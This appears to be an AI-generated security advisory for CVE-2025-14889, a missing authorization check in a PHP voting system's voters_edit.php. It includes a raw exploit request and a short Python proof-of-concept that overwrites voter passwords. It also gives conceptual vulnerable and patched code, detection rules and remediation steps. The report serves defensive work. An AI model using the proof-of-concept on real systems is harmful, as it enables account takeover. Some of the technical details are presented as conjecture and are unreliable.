CVE-2025-14889

Executive Summary

CVE-2025-14889 is an improper authorization vulnerability (CWE-285) discovered in Campcodes Advanced Voting Management System version 1.0. The flaw resides in the /admin/voters_edit.php file, specifically within the password handler component. By manipulating the ID parameter, an unauthenticated remote attacker can bypass authorization checks and modify voter records, including passwords. The exploit has been publicly released, increasing the risk of active exploitation. No official patch is currently available from the vendor.

This vulnerability is not related to a WordPress plugin or component; it is a standalone PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – the vulnerable component remains isolated.
• Confidentiality Impact: Low (C:L) – limited information disclosure possible.
• Integrity Impact: Low (I:L) – unauthorized modification of voter data.
• Availability Impact: None (A:N) – no denial-of-service effect.

Threat Level: Medium. The low complexity and public exploit availability make this a realistic threat for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic improper authorization (CWE-285) in the voters_edit.php script. The application fails to verify that the requesting user has the necessary privileges to edit a specific voter record. The ID parameter is passed directly to a database query without any session or role-based access control check.

Technical Flow:

1. An attacker sends a GET or POST request to /admin/voters_edit.php with a crafted ID parameter.
2. The script processes the request without verifying the user's administrative session.
3. The ID value is used in an SQL query (likely UPDATE or SELECT) to modify the voter record.
4. The attacker can change the voter's password, email, or other fields, effectively taking over the voter account.

Root Cause: The application does not implement a server-side authorization check (e.g., checking $_SESSION['admin'] or similar) before executing the edit operation. This allows any unauthenticated user to call the endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /admin/voters_edit.php
$id = $_GET['id'];
$query = "UPDATE voters SET password = '$new_password' WHERE id = $id";
mysqli_query($conn, $query);
?>

No authorization check is performed.

Patched Code (Conceptual):

<?php
// /admin/voters_edit.php
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    header('HTTP/1.0 403 Forbidden');
    exit('Unauthorized');
}
$id = intval($_GET['id']);
$query = "UPDATE voters SET password = ? WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, 'si', $new_password, $id);
mysqli_stmt_execute($stmt);
?>

Authorization check added and parameterized query used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Campcodes Advanced Voting Management System 1.0.
• Network access to the web application.

Exploit Steps:

1. Identify the target URL: http://target/admin/voters_edit.php
2. Craft a request to modify a voter's password (e.g., voter ID 1):

   POST /admin/voters_edit.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 30
   
   id=1&password=newpass123
   

3. Alternatively, use a GET request if the script accepts it:

   http://target/admin/voters_edit.php?id=1&password=newpass123
   

4. Verify by logging in as the voter with the new password.

Proof-of-Concept (Python):

import requests

target = "http://target/admin/voters_edit.php"
data = {"id": "1", "password": "hacked123"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print("Voter password changed successfully.")
else:
    print("Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin/voters_edit.php without a preceding authentication session.
• Look for unusual patterns in the id parameter (e.g., SQL injection attempts or sequential IDs).
• Alert on any successful POST to this endpoint from an IP not associated with an admin session.

Honeypot:

• Deploy a decoy instance of the vulnerable application and monitor for any requests to voters_edit.php.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/voters_edit.php with id and password parameters.
  • Unusual POST data containing id=*&password=*.
• File System:
  • Modified entries in the voters table of the application database.
  • New log entries in access.log or error.log referencing voters_edit.php.
• Behavioral:
  • Voter accounts logging in with unexpected passwords.
  • Multiple failed login attempts followed by successful login with a new password.

Detection Engineering

YARA Rule

rule CVE_2025_14889_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-14889 in web logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14889"
    strings:
        $s1 = "voters_edit.php" nocase
        $s2 = "id=" nocase
        $s3 = "password=" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-14889 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable voters_edit.php endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: '/admin/voters_edit.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'id='
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14889 Exploit Attempt"; flow:to_server; content:"/admin/voters_edit.php"; http_uri; content:"id="; http_client_body; content:"password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint temporarily by removing or renaming /admin/voters_edit.php.
2. Implement a Web Application Firewall (WAF) rule to block requests to /admin/voters_edit.php from unauthenticated sources.
3. Restrict network access to the admin panel via IP whitelisting or VPN.

Long-Term Fix:

• Apply proper session-based authorization checks (see patched code example).
• Use parameterized queries to prevent SQL injection.
• Conduct a full security audit of the application.

Workaround:

• If source code is accessible, add the following at the top of voters_edit.php:

  <?php
  session_start();
  if (!isset($_SESSION['admin'])) {
      header('HTTP/1.0 403 Forbidden');
      exit;
  }
  ?>
  

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.